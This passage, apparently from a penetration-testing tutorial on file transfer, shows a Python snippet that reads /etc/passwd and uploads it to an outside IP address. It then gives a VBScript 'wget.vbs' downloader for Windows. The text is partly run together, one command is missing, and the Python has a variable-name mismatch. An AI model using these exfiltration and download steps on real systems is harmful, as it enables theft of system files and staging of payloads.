# To use the requests function, we need to import the module first.import requests # Define the target URL where we will upload the file.URL ="http://13.13.13.13:8000/upload"# Define the file we want to read, open it and save it in a variable.file =open("/etc/passwd","rb")# Use a requests POST request to upload the file. r = requests.post(url,files={"files":file})
And then we can use following command from Windows CMD or PowerShell to execute our code:
VBScript
VBScript or ("Microsoft Visual Basic Scription Edition") is Microsoft scripting language that is modeled on Visual Basic. You could make wget.vbs file to download a file:
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with